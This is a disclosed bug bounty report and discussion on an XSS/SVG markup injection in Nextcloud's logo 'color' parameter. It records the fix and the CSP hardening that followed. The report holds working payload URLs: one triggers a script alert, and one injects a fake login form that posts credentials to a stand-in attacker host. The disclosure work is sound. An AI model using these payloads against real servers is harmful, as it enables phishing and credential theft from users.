17

Reflected XSS / Markup Injection in `index.php/svg/core/logo/logo` parameter `color`

Share:

TIMELINE

freddyb submitted a report to Nextcloud. Jun 11th (4 years ago)

I just found a reflected Cross-Site Scripting (XSS) vulnerability in Nextcloud Server that affects current stable and dates back to at least 15.0.5.
The vulnerability seems mitigated by a Content-Security-Policy (CSP), but there might be a residual risk for phishing, due to the CSP's lack of a `form-action` directive.

Steps to repeat (for basic XSS):
0) Replace server.test in the following URLs with your own test instance of Nextcloud.
1) Open Developer Tools (alternatively, disable CSP in your browser :-))
2) go to https://server.test/nextcloud/index.php/svg/core/logo/logo?color=f00%22/%3E%3Cg%20onload=%22javascript:alert(1)%22%3E%3C/g%3E%3Ccircle%20alt=%22meh
3) Observe the CSP violation (alternatively, the alert popup)

Steps to repeat for phishing
0) Replace server.test in the following URLS with your own test instance of Nextcloud.
1) Visit https://server.test/nextcloud/index.php/svg/core/logo/logo?color=fff%22/%3E%3CforeignObject%20class=%22node%22%20x=%220%22%20y=%220%22%20width=%22600%22%20height=%22600%22%3E%3Cdiv%20xmlns=%22http://www.w3.org/1999/xhtml%22%3E%3Cp%3ELogin%3C/p%3E%3Cform%20action=%22//evil.test%22%3E%3Cinput%20placeholder=%22Username%22%20type=%22text%22/%3E%3Cbr/%3E%20%3Cinput%20placeholder=%22Password%22%20type=%22text%22%20/%3E%3Cbr/%3E%3Cinput%20type=%22submit%22%20value=%22Login%22%20/%3E%3C/form%3E%3C/div%3E%3C/foreignObject%3E%3Ccircle%20alt=%22
1a) For improved readability, here's the resulting SVG source code

Code 1.27 KiB Wrap lines Copy Download

```
<svg width="256" height="128" version="1.1" viewBox="0 0 256 128" xmlns="http://www.w3.org/2000/svg"><g fill="none" stroke-width="22"><circle cx="40" cy="

```

2) Observe how we injected a login form that points to https://evil.test. Note that further styling using CSS files of the currently applied theme could be used to make the attack more convincing. Additionally, an attacker might put the Nextcloud instance into an iframe, to hide the injection from the address bar (depending on X-Frame-Options header).

Impact

- Phishing
- XSS on the nextcloud instance, if the CSP is bypassed (rather unlikely)

BOT: posted a comment. Jun 11th (4 years ago)

Thanks a lot for reporting this potential issue back to us!

Our security team will take a look at this issue as soon as possible. We will reply to your report within 72 hours, usually much faster. For obvious reasons we'd like to ask you to not disclose this issue to any other party.

freddyb posted a comment. Jun 12th (4 years ago)

> Note that further styling using CSS files of the currently applied theme could be used to make the attack more convincing. Additionally, an attacker might put the Nextcloud instance into an iframe, to hide the injection from the address bar (depending on X-Frame-Options header).

I just noticed the CSP's `style-src` directive allows 'unsafe-inline', so the phishing vector could be styled arbitrarily.

freddyb posted a comment. Jun 12th (4 years ago)

I finally got the time to dig into the source code.

The injection happens in the `colorizeSvg` function in IconsCacher.php in (line 186, permalink), as the color value is neither being validated nor escaped. The color comes from SvgController.php `getSvg()` function (line 127, permalink).

I haven't dug deep enough to see whether Nextcloud server usually escapes in the sources or in the sink, so depending on other callers of `colorizeSvg`, you might just add a regex filter that limits colors to a regular expression of `[0-9a-f]{1,6}` at the very beginning of the function.

nickvergessen Nextcloud staff posted a comment. Jun 20th (4 years ago)

Sorry for the long delay, we had 2 parental leave issues and another leave sadly covering all 3 of our hackerone users at the same time.

I went for the IconsCacher as a fix location, we check for `[0-9a-f]{3,6}` now and fall back to black in case it doesn't match:
https://github.com/nextcloud/server/pull/16021/files

Since I couldn't see any impact due to CSP, I will discuss the reward with my colleagues early next week.

nickvergessen Nextcloud staff changed the status to Triaged. Jun 20th (4 years ago)

freddyb posted a comment. Jun 24th (3 years ago)

I agree there's no XSS, but rather a spoofing impact.
However, I'd suggest discussing a `form-action` directive in the default CSP in parallel to fixing the injection.

freddyb posted a comment. Jul 6th (3 years ago) nickvergessen Nextcloud staff posted a comment. Jul 8th (3 years ago)

Yeah, I wanted to do this on Thursday, I just forgot.

nickvergessen Nextcloud staff closed the report and changed the status to Resolved. Jul 8th (3 years ago)

Thanks a lot for your report again. This has been resolved in our latest maintenance releases and we're working on the advisories at the moment.

Please let us know how you'd like to be credited in our official advisory. We require the following information:

- Name / Pseudonym
- Email address (optional)
- Website (optional)
- Company (optional)

Nextcloud rewarded freddyb with a $50 bounty. Jul 8th (3 years ago)

freddyb posted a comment. Jul 15th (3 years ago)

Please credit me as Frederik Braun with the link to https://frederik-braun.com - Thank you!

rullzer requested to disclose this report. Jul 30th (3 years ago)

Hi,

Tthe advisory is pending internally.
Once published a CVE will be requested as well.

Regarding the form-actions this is actually on my list already and it just moved a bit higher. So I'll look into this now.

Cheers,
--Roeland

rullzer posted a comment. Jul 30th (3 years ago)

Hi,

So I checked and in the upcoming release we actually set a very strict CSP for all non template responses. So it should be catched then. Never the less I will add form-action support in our CSP.

Cheers,
--Roeland

rullzer posted a comment. Jul 30th (3 years ago)

Hi,

Ah no it does not... default fallback is to allow everything.
In any case https://github.com/nextcloud/server/pull/16618 adds it :)

Cheers,
--Roeland

This report has been disclosed. Aug 29th (3 years ago)